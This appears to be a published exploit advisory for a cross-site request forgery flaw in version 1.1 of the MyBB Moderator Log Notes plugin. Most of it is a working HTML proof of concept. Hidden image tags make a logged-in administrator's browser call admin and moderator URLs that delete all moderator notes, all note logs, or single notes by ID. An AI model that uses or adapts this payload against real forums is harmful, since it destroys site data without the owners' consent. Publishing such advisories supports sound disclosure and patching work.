MyBB Moderator Log Notes 1.1 Cross Site Request Forgery

MyBB Moderator Log Notes plugin version 1.1 suffers from a cross site request forgery vulnerability.


MD5 | 3920b88068a9b23761c3e7669cd0e836

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# Exploit Title: MyBB Moderator Log Notes Plugin 1.1 - Cross-Site Request Forgery
# Date: 2018-05-17
# Author: 0xB9
# Twitter: @0xB9Sec
# Software Link: https://community.mybb.com/mods.php?action=view&pid=1105
# Version: 1.1
# Tested on: Ubuntu 18.04
 
# 1. Description:
# The plugin allows moderators to save notes and display them in a list in the modCP.
# The CSRF allows an attacker to remotely delete all mod notes and mod note logs 
# in the modCP & ACP.
 
# 2. Proof of Concept:
 
<html>
    <body>
        <-- Deletes mod note logs -->
        <img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dal" alt="">
        <-- Deletes mod notes -->
        <img style="display:none" src="http://localhost/mybb15/admin/index.php?module=tools-modnoteslog&action=dmn" alt="">
         
        <!-- You can also delete notes individually by the nid (note ID)
        <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=3" alt="">
        <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=2" alt="">
        <img style="display:none" src="http://localhost/mybb15/modcp.php?action=deletenote&nid=1" alt="">
        -->
    </body>
</html>


Source: packetstormsecurity.com
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